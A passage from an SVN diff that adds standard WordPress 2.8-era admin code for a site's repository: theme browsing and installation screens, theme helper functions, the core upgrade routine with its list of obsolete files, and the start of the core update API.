+		'green' => __('Green'), 'orange' => __('Orange'), 'pink' => __('Pink'), 'purple' => __('Purple'), 'red' => __('Red'),
+		'silver' => __('Silver'), 'tan' => __('Tan'), 'white' => __('White'), 'yellow' => __('Yellow'), 'dark' => __('Dark'),
+		'light' => __('Light'), 'Columns' => __('Columns'), 'one-column' => __('One Column'), 'two-columns' => __('Two Columns'),
+		'three-columns' => __('Three Columns'), 'four-columns' => __('Four Columns'), 'left-sidebar' => __('Left Sidebar'),
+		'right-sidebar' => __('Right Sidebar'), 'Width' => __('Width'), 'fixed-width' => __('Fixed Width'), 'flexible-width' => __('Flexible Width'),
+		'Features' => __('Features'), 'custom-colors' => __('Custom Colors'), 'custom-header' => __('Custom Header'), 'theme-options' => __('Theme Options'),
+		'threaded-comments' => __('Threaded Comments'), 'sticky-post' => __('Sticky Post'), 'microformats' => __('Microformats'),
+		'Subject' => __('Subject'), 'holiday' => __('Holiday'), 'photoblogging' => __('Photoblogging'), 'seasonal' => __('Seasonal'),
+	);
+
+	foreach ( (array) $feature_list as $feature_name => $features ) {
+		if ( isset($trans[$feature_name]) )
+			 $feature_name = $trans[$feature_name];
+		$feature_name = esc_html( $feature_name );
+		echo '<div class="feature-name">' . $feature_name . '</div>';
+
+		echo '<ol style="float: left; width: 725px;" class="feature-group">';
+		foreach ( $features as $feature ) {
+			$feature_name = $feature;
+			if ( isset($trans[$feature]) )
+				$feature_name = $trans[$feature];
+			$feature_name = esc_html( $feature_name );
+			$feature = esc_attr($feature);
+?>
+
+<li>
+	<input type="checkbox" name="features[<?php echo $feature; ?>]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
+	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
+</li>
+
+<?php	} ?>
+</ol>
+<br class="clear" />
+<?php
+	} ?>
+
+</div>
+<br class="clear" />
+<p><input type="submit" name="search" value="<?php esc_attr_e('Find Themes'); ?>" class="button" /></p>
+</form>
+<?php
+}
+
+add_action('install_themes_featured', 'install_themes_featured', 10, 1);
+/**
+ * Display featured themes.
+ *
+ * @since 2.8.0
+ *
+ * @param string $page
+ */
+function install_themes_featured($page = 1) {
+	global $theme_field_defaults;
+	$args = array('browse' => 'featured', 'page' => $page, 'fields' => $theme_field_defaults);
+	$api = themes_api('query_themes', $args);
+	if ( is_wp_error($api) )
+		wp_die($api);
+	display_themes($api->themes, $api->info['page'], $api->info['pages']);
+}
+
+add_action('install_themes_new', 'install_themes_new', 10, 1);
+/**
+ * Display new themes/
+ *
+ * @since 2.8.0
+ *
+ * @param string $page
+ */
+function install_themes_new($page = 1) {
+	global $theme_field_defaults;
+	$args = array('browse' => 'new', 'page' => $page, 'fields' => $theme_field_defaults);
+	$api = themes_api('query_themes', $args);
+	if ( is_wp_error($api) )
+		wp_die($api);
+	display_themes($api->themes, $api->info['page'], $api->info['pages']);
+}
+
+add_action('install_themes_updated', 'install_themes_updated', 10, 1);
+/**
+ * Display recently updated themes.
+ *
+ * @since 2.8.0
+ *
+ * @param string $page
+ */
+function install_themes_updated($page = 1) {
+	global $theme_field_defaults;
+	$args = array('browse' => 'updated', 'page' => $page, 'fields' => $theme_field_defaults);
+	$api = themes_api('query_themes', $args);
+	display_themes($api->themes, $api->info['page'], $api->info['pages']);
+}
+
+add_action('install_themes_upload', 'install_themes_upload', 10, 1);
+function install_themes_upload($page = 1) {
+?>
+<h4><?php _e('Install a theme in .zip format') ?></h4>
+<p class="install-help"><?php _e('If you have a theme in a .zip format, you may install it by uploading it here.') ?></p>
+<form method="post" enctype="multipart/form-data" action="<?php echo admin_url('update.php?action=upload-theme') ?>">
+	<?php wp_nonce_field( 'theme-upload') ?>
+	<input type="file" name="themezip" />
+	<input type="submit"
+	class="button" value="<?php esc_attr_e('Install Now') ?>" />
+</form>
+	<?php
+}
+
+function display_theme($theme, $actions = null, $show_details = true) {
+	global $themes_allowedtags;
+
+	if ( empty($theme) )
+		return;
+
+	$name = wp_kses($theme->name, $themes_allowedtags);
+	$desc = wp_kses($theme->description, $themes_allowedtags);
+	//if ( strlen($desc) > 30 )
+	//	$desc =  substr($desc, 0, 15) . '<span class="dots">...</span><span>' . substr($desc, -15) . '</span>';
+
+	$preview_link = $theme->preview_url . '?TB_iframe=true&amp;width=600&amp;height=400';
+	if ( !is_array($actions) ) {
+		$actions = array();
+		$actions[] = '<a href="' . admin_url('theme-install.php?tab=theme-information&amp;theme=' . $theme->slug .
+										'&amp;TB_iframe=true&amp;tbWidth=500&amp;tbHeight=350') . '" class="thickbox thickbox-preview onclick" title="' . esc_attr(sprintf(__('Install &#8220;%s&#8221;'), $name)) . '">' . __('Install') . '</a>';
+		$actions[] = '<a href="' . $preview_link . '" class="thickbox thickbox-preview onclick previewlink" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $name)) . '">' . __('Preview') . '</a>';
+		$actions = apply_filters('theme_install_action_links', $actions, $theme);
+	}
+
+	$actions = implode ( ' | ', $actions );
+	?>
+<a class='thickbox thickbox-preview screenshot'
+	href='<?php echo esc_url($preview_link); ?>'
+	title='<?php echo esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $name)); ?>'>
+<img src='<?php echo esc_url($theme->screenshot_url); ?>' width='150' />
+</a>
+<h3><?php echo $name ?></h3>
+<span class='action-links'><?php echo $actions ?></span>
+<p><?php echo $desc ?></p>
+<?php if ( $show_details ) { ?>
+<a href="#theme_detail" class="theme-detail hide-if-no-js" tabindex='4'><?php _e('Details') ?></a>
+<div class="themedetaildiv hide-if-js">
+<p><strong><?php _e('Version:') ?></strong> <?php echo wp_kses($theme->version, $themes_allowedtags) ?></p>
+<p><strong><?php _e('Author:') ?></strong> <?php echo wp_kses($theme->author, $themes_allowedtags) ?></p>
+<?php if ( ! empty($theme->last_updated) ) : ?>
+<p><strong><?php _e('Last Updated:') ?></strong> <span title="<?php echo $theme->last_updated ?>"><?php printf( __('%s ago'), human_time_diff(strtotime($theme->last_updated)) ) ?></span></p>
+<?php endif; if ( ! empty($theme->requires) ) : ?>
+<p><strong><?php _e('Requires WordPress Version:') ?></strong> <?php printf(__('%s or higher'), $theme->requires) ?></p>
+<?php endif; if ( ! empty($theme->tested) ) : ?>
+<p><strong><?php _e('Compatible up to:') ?></strong> <?php echo $theme->tested ?></p>
+<?php endif; if ( !empty($theme->downloaded) ) : ?>
+<p><strong><?php _e('Downloaded:') ?></strong> <?php printf(_n('%s time', '%s times', $theme->downloaded), number_format_i18n($theme->downloaded)) ?></p>
+<?php endif; ?>
+<div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $theme->num_ratings), number_format_i18n($theme->num_ratings)) ?>">
+	<div class="star star-rating" style="width: <?php echo esc_attr($theme->rating) ?>px"></div>
+	<div class="star star5"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('5 stars') ?>" /></div>
+	<div class="star star4"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('4 stars') ?>" /></div>
+	<div class="star star3"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('3 stars') ?>" /></div>
+	<div class="star star2"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('2 stars') ?>" /></div>
+	<div class="star star1"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('1 star') ?>" /></div>
+</div>
+</div>
+<?php }
+	/*
+	 object(stdClass)[59]
+	 public 'name' => string 'Magazine Basic' (length=14)
+	 public 'slug' => string 'magazine-basic' (length=14)
+	 public 'version' => string '1.1' (length=3)
+	 public 'author' => string 'tinkerpriest' (length=12)
+	 public 'preview_url' => string 'http://wp-themes.com/?magazine-basic' (length=36)
+	 public 'screenshot_url' => string 'http://wp-themes.com/wp-content/themes/magazine-basic/screenshot.png' (length=68)
+	 public 'rating' => float 80
+	 public 'num_ratings' => int 1
+	 public 'homepage' => string 'http://wordpress.org/extend/themes/magazine-basic' (length=49)
+	 public 'description' => string 'A basic magazine style layout with a fully customizable layout through a backend interface. Designed by <a href="http://bavotasan.com">c.bavota</a> of <a href="http://tinkerpriestmedia.com">Tinker Priest Media</a>.' (length=214)
+	 public 'download_link' => string 'http://wordpress.org/extend/themes/download/magazine-basic.1.1.zip' (length=66)
+	 */
+}
+
+/**
+ * Display theme content based on theme list.
+ *
+ * @since 2.8.0
+ *
+ * @param array $themes List of themes.
+ * @param string $page
+ * @param int $totalpages Number of pages.
+ */
+function display_themes($themes, $page = 1, $totalpages = 1) {
+	global $themes_allowedtags;
+
+	$type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : '';
+	$term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : '';
+	?>
+<div class="tablenav">
+<div class="alignleft actions"><?php do_action('install_themes_table_header'); ?></div>
+	<?php
+	$url = esc_url($_SERVER['REQUEST_URI']);
+	if ( ! empty($term) )
+		$url = add_query_arg('s', $term, $url);
+	if ( ! empty($type) )
+		$url = add_query_arg('type', $type, $url);
+
+	$page_links = paginate_links( array(
+			'base' => add_query_arg('paged', '%#%', $url),
+			'format' => '',
+			'prev_text' => __('&laquo;'),
+			'next_text' => __('&raquo;'),
+			'total' => $totalpages,
+			'current' => $page
+	));
+
+	if ( $page_links )
+		echo "\t\t<div class='tablenav-pages'>$page_links</div>";
+	?>
+</div>
+<br class="clear" />
+<?php
+	if ( empty($themes) ) {
+		_e('No themes found');
+		return;
+	}
+?>
+<table id="availablethemes" cellspacing="0" cellpadding="0">
+<?php
+	$rows = ceil(count($themes) / 3);
+	$table = array();
+	$theme_keys = array_keys($themes);
+	for ( $row = 1; $row <= $rows; $row++ )
+		for ( $col = 1; $col <= 3; $col++ )
+			$table[$row][$col] = array_shift($theme_keys);
+
+	foreach ( $table as $row => $cols ) {
+	?>
+	<tr>
+	<?php
+
+	foreach ( $cols as $col => $theme_index ) {
+		$class = array('available-theme');
+		if ( $row == 1 ) $class[] = 'top';
+		if ( $col == 1 ) $class[] = 'left';
+		if ( $row == $rows ) $class[] = 'bottom';
+		if ( $col == 3 ) $class[] = 'right';
+		?>
+		<td class="<?php echo join(' ', $class); ?>"><?php
+			if ( isset($themes[$theme_index]) )
+				display_theme($themes[$theme_index]);
+		?></td>
+		<?php } // end foreach $cols ?>
+	</tr>
+	<?php } // end foreach $table ?>
+</table>
+
+<div class="tablenav"><?php if ( $page_links )
+echo "\t\t<div class='tablenav-pages'>$page_links</div>"; ?> <br
+	class="clear" />
+</div>
+
+<?php
+}
+
+add_action('install_themes_pre_theme-information', 'install_theme_information');
+
+/**
+ * Display theme information in dialog box form.
+ *
+ * @since 2.8.0
+ */
+function install_theme_information() {
+	//TODO: This function needs a LOT of UI work :)
+	global $tab, $themes_allowedtags;
+
+	$api = themes_api('theme_information', array('slug' => stripslashes( $_REQUEST['theme'] ) ));
+
+	if ( is_wp_error($api) )
+		wp_die($api);
+
+	// Sanitize HTML
+	foreach ( (array)$api->sections as $section_name => $content )
+		$api->sections[$section_name] = wp_kses($content, $themes_allowedtags);
+	foreach ( array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key )
+		$api->$key = wp_kses($api->$key, $themes_allowedtags);
+
+	iframe_header( __('Theme Install') );
+
+	if ( empty($api->download_link) ) {
+		echo '<div id="message" class="error"><p>' . __('<strong>Error:</strong> This theme is currently not available. Please try again later.') . '</p></div>';
+		iframe_footer();
+		exit;
+	}
+
+	if ( !empty($api->tested) && version_compare($GLOBALS['wp_version'], $api->tested, '>') )
+		echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This theme has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>';
+	else if ( !empty($api->requires) && version_compare($GLOBALS['wp_version'], $api->requires, '<') )
+		echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This theme has not been marked as <strong>compatible</strong> with your version of WordPress.') . '</p></div>';
+
+	// Default to a "new" theme
+	$type = 'install';
+	// Check to see if this theme is known to be installed, and has an update awaiting it.
+	$update_themes = get_transient('update_themes');
+	if ( is_object($update_themes) && isset($update_themes->response) ) {
+		foreach ( (array)$update_themes->response as $theme_slug => $theme_info ) {
+			if ( $theme_slug === $api->slug ) {
+				$type = 'update_available';
+				$update_file = $theme_slug;
+				break;
+			}
+		}
+	}
+
+	$themes = get_themes();
+	foreach ( $themes as $this_theme ) {
+		if ( is_array($this_theme) && $this_theme['Stylesheet'] == $api->slug ) {
+			if ( $this_theme['Version'] == $api->version ) {
+				$type = 'latest_installed';
+			} elseif ( $this_theme['Version'] > $api->version ) {
+				$type = 'newer_installed';
+				$newer_version = $this_theme['Version'];
+			}
+			break;
+		}
+	}
+?>
+
+<div class='available-theme'>
+<img src='<?php echo esc_url($api->screenshot_url) ?>' width='300' class="theme-preview-img" />
+<h3><?php echo $api->name; ?></h3>
+<p><?php printf(__('by %s'), $api->author); ?></p>
+<p><?php printf(__('Version: %s'), $api->version); ?></p>
+
+<?php
+$buttons = '<a class="button" id="cancel" href="#" onclick="tb_close();return false;">' . __('Cancel') . '</a> ';
+
+switch ( $type ) {
+default:
+case 'install':
+	if ( current_user_can('install_themes') ) :
+	$buttons .= '<a class="button-primary" id="install" href="' . wp_nonce_url(admin_url('update.php?action=install-theme&theme=' . $api->slug), 'install-theme_' . $api->slug) . '" target="_parent">' . __('Install Now') . '</a>';
+	endif;
+	break;
+case 'update_available':
+	if ( current_user_can('update_themes') ) :
+	$buttons .= '<a class="button-primary" id="install"	href="' . wp_nonce_url(admin_url('update.php?action=upgrade-theme&theme=' . $update_file), 'upgrade-theme_' . $update_file) . '" target="_parent">' . __('Install Update Now') . '</a>';
+	endif;
+	break;
+case 'newer_installed':
+	if ( current_user_can('install_themes') || current_user_can('update_themes') ) :
+	?><p><?php printf(__('Newer version (%s) is installed.'), $newer_version); ?></p><?php
+	endif;
+	break;
+case 'latest_installed':
+	if ( current_user_can('install_themes') || current_user_can('update_themes') ) :
+	?><p><?php _e('This version is already installed.'); ?></p><?php
+	endif;
+	break;
+} ?>
+<br class="clear" />
+</div>
+
+<p class="action-button">
+<?php echo $buttons; ?>
+<br class="clear" />
+</p>
+
+<?php
+	iframe_footer();
+	exit;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/theme.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/theme.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/theme.php	(revision 44)
@@ -0,0 +1,147 @@
+<?php
+/**
+ * WordPress Theme Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function current_theme_info() {
+	$themes = get_themes();
+	$current_theme = get_current_theme();
+	$ct->name = $current_theme;
+	$ct->title = $themes[$current_theme]['Title'];
+	$ct->version = $themes[$current_theme]['Version'];
+	$ct->parent_theme = $themes[$current_theme]['Parent Theme'];
+	$ct->template_dir = $themes[$current_theme]['Template Dir'];
+	$ct->stylesheet_dir = $themes[$current_theme]['Stylesheet Dir'];
+	$ct->template = $themes[$current_theme]['Template'];
+	$ct->stylesheet = $themes[$current_theme]['Stylesheet'];
+	$ct->screenshot = $themes[$current_theme]['Screenshot'];
+	$ct->description = $themes[$current_theme]['Description'];
+	$ct->author = $themes[$current_theme]['Author'];
+	$ct->tags = $themes[$current_theme]['Tags'];
+	return $ct;
+}
+
+/**
+ * Remove a theme
+ *
+ * @since 2.8.0
+ *
+ * @param string $template Template directory of the theme to delete
+ * @return mixed
+ */
+function delete_theme($template) {
+	global $wp_filesystem;
+
+	if ( empty($template) )
+		return false;
+
+	ob_start();
+	$url = wp_nonce_url('themes.php?action=delete&template=' . $template, 'delete-theme_' . $template);
+	if ( false === ($credentials = request_filesystem_credentials($url)) ) {
+		$data = ob_get_contents();
+		ob_end_clean();
+		if ( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! WP_Filesystem($credentials) ) {
+		request_filesystem_credentials($url, '', true); // Failed to connect, Error and request again
+		$data = ob_get_contents();
+		ob_end_clean();
+		if( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+
+	if ( ! is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return new WP_Error('fs_error', __('Filesystem error'), $wp_filesystem->errors);
+
+	//Get the base plugin folder
+	$themes_dir = $wp_filesystem->wp_themes_dir();
+	if ( empty($themes_dir) )
+		return new WP_Error('fs_no_themes_dir', __('Unable to locate WordPress theme directory.'));
+
+	$themes_dir = trailingslashit( $themes_dir );
+
+	$errors = array();
+
+	$theme_dir = trailingslashit($themes_dir . $template);
+	$deleted = $wp_filesystem->delete($theme_dir, true);
+
+	if ( ! $deleted )
+		return new WP_Error('could_not_remove_theme', sprintf(__('Could not fully remove the theme %s'), $template) );
+
+	// Force refresh of theme update information
+	delete_transient('update_themes');
+
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_broken_themes() {
+	global $wp_broken_themes;
+
+	get_themes();
+	return $wp_broken_themes;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_page_templates() {
+	$themes = get_themes();
+	$theme = get_current_theme();
+	$templates = $themes[$theme]['Template Files'];
+	$page_templates = array ();
+
+	if ( is_array( $templates ) ) {
+		foreach ( $templates as $template ) {
+			$template_data = implode( '', file( WP_CONTENT_DIR.$template ));
+
+			$name = '';
+			if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) )
+				$name = _cleanup_header_comment($name[1]);
+
+			if ( !empty( $name ) ) {
+				$page_templates[trim( $name )] = basename( $template );
+			}
+		}
+	}
+
+	return $page_templates;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/update-core.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/update-core.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/update-core.php	(revision 44)
@@ -0,0 +1,262 @@
+<?php
+/**
+ * WordPress core upgrade functionality.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.7.0
+ */
+
+/**
+ * Stores files to be deleted.
+ *
+ * @since 2.7.0
+ * @global array $_old_files
+ * @var array
+ * @name $_old_files
+ */
+global $_old_files;
+
+$_old_files = array(
+'wp-admin/bookmarklet.php',
+'wp-admin/css/upload.css',
+'wp-admin/css/upload-rtl.css',
+'wp-admin/css/press-this-ie.css',
+'wp-admin/css/press-this-ie-rtl.css',
+'wp-admin/edit-form.php',
+'wp-admin/link-import.php',
+'wp-admin/images/box-bg-left.gif',
+'wp-admin/images/box-bg-right.gif',
+'wp-admin/images/box-bg.gif',
+'wp-admin/images/box-butt-left.gif',
+'wp-admin/images/box-butt-right.gif',
+'wp-admin/images/box-butt.gif',
+'wp-admin/images/box-head-left.gif',
+'wp-admin/images/box-head-right.gif',
+'wp-admin/images/box-head.gif',
+'wp-admin/images/heading-bg.gif',
+'wp-admin/images/login-bkg-bottom.gif',
+'wp-admin/images/login-bkg-tile.gif',
+'wp-admin/images/notice.gif',
+'wp-admin/images/toggle.gif',
+'wp-admin/images/comment-stalk-classic.gif',
+'wp-admin/images/comment-stalk-fresh.gif',
+'wp-admin/images/comment-stalk-rtl.gif',
+'wp-admin/images/comment-pill.gif',
+'wp-admin/images/del.png',
+'wp-admin/images/media-button-gallery.gif',
+'wp-admin/images/media-buttons.gif',
+'wp-admin/images/tail.gif',
+'wp-admin/images/gear.png',
+'wp-admin/images/tab.png',
+'wp-admin/images/postbox-bg.gif',
+'wp-admin/includes/upload.php',
+'wp-admin/js/dbx-admin-key.js',
+'wp-admin/js/link-cat.js',
+'wp-admin/js/forms.js',
+'wp-admin/js/upload.js',
+'wp-admin/profile-update.php',
+'wp-admin/templates.php',
+'wp-includes/images/audio.png',
+'wp-includes/images/css.png',
+'wp-includes/images/default.png',
+'wp-includes/images/doc.png',
+'wp-includes/images/exe.png',
+'wp-includes/images/html.png',
+'wp-includes/images/js.png',
+'wp-includes/images/pdf.png',
+'wp-includes/images/swf.png',
+'wp-includes/images/tar.png',
+'wp-includes/images/text.png',
+'wp-includes/images/video.png',
+'wp-includes/images/zip.png',
+'wp-includes/js/dbx.js',
+'wp-includes/js/fat.js',
+'wp-includes/js/list-manipulation.js',
+'wp-includes/js/jquery/jquery.dimensions.min.js',
+'wp-includes/js/tinymce/langs/en.js',
+'wp-includes/js/tinymce/plugins/autosave/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/autosave/langs',
+'wp-includes/js/tinymce/plugins/directionality/images',
+'wp-includes/js/tinymce/plugins/directionality/langs',
+'wp-includes/js/tinymce/plugins/inlinepopups/css',
+'wp-includes/js/tinymce/plugins/inlinepopups/images',
+'wp-includes/js/tinymce/plugins/inlinepopups/jscripts',
+'wp-includes/js/tinymce/plugins/paste/images',
+'wp-includes/js/tinymce/plugins/paste/jscripts',
+'wp-includes/js/tinymce/plugins/paste/langs',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/HttpClient.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyGoogleSpell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspellShell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/css/spellchecker.css',
+'wp-includes/js/tinymce/plugins/spellchecker/images',
+'wp-includes/js/tinymce/plugins/spellchecker/langs',
+'wp-includes/js/tinymce/plugins/spellchecker/tinyspell.php',
+'wp-includes/js/tinymce/plugins/wordpress/images',
+'wp-includes/js/tinymce/plugins/wordpress/langs',
+'wp-includes/js/tinymce/plugins/wordpress/popups.css',
+'wp-includes/js/tinymce/plugins/wordpress/wordpress.css',
+'wp-includes/js/tinymce/plugins/wphelp',
+'wp-includes/js/tinymce/themes/advanced/css',
+'wp-includes/js/tinymce/themes/advanced/images',
+'wp-includes/js/tinymce/themes/advanced/jscripts',
+'wp-includes/js/tinymce/themes/advanced/langs',
+'wp-includes/js/tinymce/tiny_mce_gzip.php',
+'wp-includes/js/wp-ajax.js',
+'wp-admin/admin-db.php',
+'wp-admin/cat.js',
+'wp-admin/categories.js',
+'wp-admin/custom-fields.js',
+'wp-admin/dbx-admin-key.js',
+'wp-admin/edit-comments.js',
+'wp-admin/install-rtl.css',
+'wp-admin/install.css',
+'wp-admin/upgrade-schema.php',
+'wp-admin/upload-functions.php',
+'wp-admin/upload-rtl.css',
+'wp-admin/upload.css',
+'wp-admin/upload.js',
+'wp-admin/users.js',
+'wp-admin/widgets-rtl.css',
+'wp-admin/widgets.css',
+'wp-admin/xfn.js',
+'wp-includes/js/tinymce/license.html',
+'wp-admin/cat-js.php',
+'wp-admin/edit-form-ajax-cat.php',
+'wp-admin/execute-pings.php',
+'wp-admin/import/b2.php',
+'wp-admin/inline-uploading.php',
+'wp-admin/link-categories.php',
+'wp-admin/list-manipulation.js',
+'wp-admin/list-manipulation.php',
+'wp-includes/comment-functions.php',
+'wp-includes/feed-functions.php',
+'wp-includes/functions-compat.php',
+'wp-includes/functions-formatting.php',
+'wp-includes/functions-post.php',
+'wp-includes/js/dbx-key.js',
+'wp-includes/js/tinymce/plugins/autosave/langs/cs.js',
+'wp-includes/js/tinymce/plugins/autosave/langs/sv.js',
+'wp-includes/js/tinymce/themes/advanced/editor_template_src.js',
+'wp-includes/links.php',
+'wp-includes/pluggable-functions.php',
+'wp-includes/template-functions-author.php',
+'wp-includes/template-functions-category.php',
+'wp-includes/template-functions-general.php',
+'wp-includes/template-functions-links.php',
+'wp-includes/template-functions-post.php',
+'wp-includes/wp-l10n.php',
+'wp-admin/import-b2.php',
+'wp-admin/import-blogger.php',
+'wp-admin/import-greymatter.php',
+'wp-admin/import-livejournal.php',
+'wp-admin/import-mt.php',
+'wp-admin/import-rss.php',
+'wp-admin/import-textpattern.php',
+'wp-admin/quicktags.js',
+'wp-images/fade-butt.png',
+'wp-images/get-firefox.png',
+'wp-images/header-shadow.png',
+'wp-images/smilies',
+'wp-images/wp-small.png',
+'wp-images/wpminilogo.png',
+'wp.php'
+);
+
+/**
+ * Upgrade the core of WordPress.
+ *
+ * This will create a .maintenance file at the base of the WordPress directory
+ * to ensure that people can not access the web site, when the files are being
+ * copied to their locations.
+ *
+ * The files in the {@link $_old_files} list will be removed and the new files
+ * copied from the zip file after the database is upgraded.
+ *
+ * The steps for the upgrader for after the new release is downloaded and
+ * unzipped is:
+ *   1. Test unzipped location for select files to ensure that unzipped worked.
+ *   2. Create the .maintenance file in current WordPress base.
+ *   3. Copy new WordPress directory over old WordPress files.
+ *   4. Upgrade WordPress to new version.
+ *   5. Delete new WordPress directory path.
+ *   6. Delete .maintenance file.
+ *   7. Remove old files.
+ *   8. Delete 'update_core' option.
+ *
+ * There are several areas of failure. For instance if PHP times out before step
+ * 6, then you will not be able to access any portion of your site. Also, since
+ * the upgrade will not continue where it left off, you will not be able to
+ * automatically remove old files and remove the 'update_core' option. This
+ * isn't that bad.
+ *
+ * If the copy of the new WordPress over the old fails, then the worse is that
+ * the new WordPress directory will remain.
+ *
+ * If it is assumed that every file will be copied over, including plugins and
+ * themes, then if you edit the default theme, you should rename it, so that
+ * your changes remain.
+ *
+ * @since 2.7.0
+ *
+ * @param string $from New release unzipped path.
+ * @param string $to Path to old WordPress installation.
+ * @return WP_Error|null WP_Error on failure, null on success.
+ */
+function update_core($from, $to) {
+	global $wp_filesystem, $_old_files;
+
+	@set_time_limit( 300 );
+
+	// Sanity check the unzipped distribution
+	apply_filters('update_feedback', __('Verifying the unpacked files'));
+	if ( !$wp_filesystem->exists($from . '/wordpress/wp-settings.php') || !$wp_filesystem->exists($from . '/wordpress/wp-admin/admin.php') ||
+		!$wp_filesystem->exists($from . '/wordpress/wp-includes/functions.php') ) {
+		$wp_filesystem->delete($from, true);
+		return new WP_Error('insane_distro', __('The update could not be unpacked') );
+	}
+
+	apply_filters('update_feedback', __('Installing the latest version'));
+
+	// Create maintenance file to signal that we are upgrading
+	$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
+	$maintenance_file = $to . '.maintenance';
+	$wp_filesystem->delete($maintenance_file);
+	$wp_filesystem->put_contents($maintenance_file, $maintenance_string, FS_CHMOD_FILE);
+
+	// Copy new versions of WP files into place.
+	$result = copy_dir($from . '/wordpress', $to);
+	if ( is_wp_error($result) ) {
+		$wp_filesystem->delete($maintenance_file);
+		$wp_filesystem->delete($from, true);
+		return $result;
+	}
+
+	// Remove old files
+	foreach ( $_old_files as $old_file ) {
+		$old_file = $to . $old_file;
+		if ( !$wp_filesystem->exists($old_file) )
+			continue;
+		$wp_filesystem->delete($old_file, true);
+	}
+
+	// Upgrade DB with separate request
+	apply_filters('update_feedback', __('Upgrading database'));
+	$db_upgrade_url = admin_url('upgrade.php?step=upgrade_db');
+	wp_remote_post($db_upgrade_url, array('timeout' => 60));
+
+	// Remove working directory
+	$wp_filesystem->delete($from, true);
+
+	// Force refresh of update information
+	if ( function_exists('delete_transient') )
+		delete_transient('update_core');
+	else
+		delete_option('update_core');
+
+	// Remove maintenance file, we're done.
+	$wp_filesystem->delete($maintenance_file);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/update.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/update.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/update.php	(revision 44)
@@ -0,0 +1,220 @@
+<?php
+/**
+ * WordPress Administration Update API
+ *
+ * @package WordPress
+ * @subpackage Admin
+ */
+
+// The admin side of our 1.1 update system
+
+/**
+ * Selects the first update version from the update_core option
+ *
+ * @return object the response from the API
+ */
+function get_preferred_from_update_core() {
+	$updates = get_core_updates();
+	if ( !is_array( $updates ) )
+		return false;
+	if ( empty( $updates ) )
+		return (object)array('response' => 'latest');
+	return $updates[0];
+}
+
+/**
+ * Get available core updates
+ *
+ * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
+ * 	set $options['available'] to false to skip not-dimissed updates.
+ * @return array Array of the update objects
+ */
+function get_core_updates( $options = array() ) {
+	$options = array_merge( array('available' => true, 'dismissed' => false ), $options );
+	$dismissed = get_option( 'dismissed_update_core' );
+	if ( !is_array( $dismissed ) ) $dismissed = array();
+	$from_api = get_transient( 'update_core' );
+	if ( empty($from_api) )
+		return false;
+	if ( !isset( $from_api->updates ) || !is_array( $from_api->updates ) ) return false;
+	$updates = $from_api->updates;
+	if ( !is_array( $updates ) ) return false;
+	$result = array();
+	foreach($updates as $update) {
+		if ( array_key_exists( $update->current.'|'.$update->locale, $dismissed ) ) {
+			if ( $options['dismissed'] ) {
+				$update->dismissed = true;
+				$result[]= $update;
+			}
+		} else {
+			if ( $options['available'] ) {
+				$update->dismissed = false;
+				$result[]= $update;
+			}
+		}
+	}
+	return $result;
+}
+
+function dismiss_core_update( $update ) {
+	$dismissed = get_option( 'dismissed_update_core' );
+	$dismissed[ $update->current.'|'.$update->locale ] = true;
+	return update_option( 'dismissed_update_core', $dismissed );
+}
+
+function undismiss_core_update( $version, $locale ) {
+	$dismissed = get_option( 'dismissed_update_core' );
+	$key = $version.'|'.$locale;
+	if ( !isset( $dismissed[$key] ) ) return false;
+	unset( $dismissed[$key] );
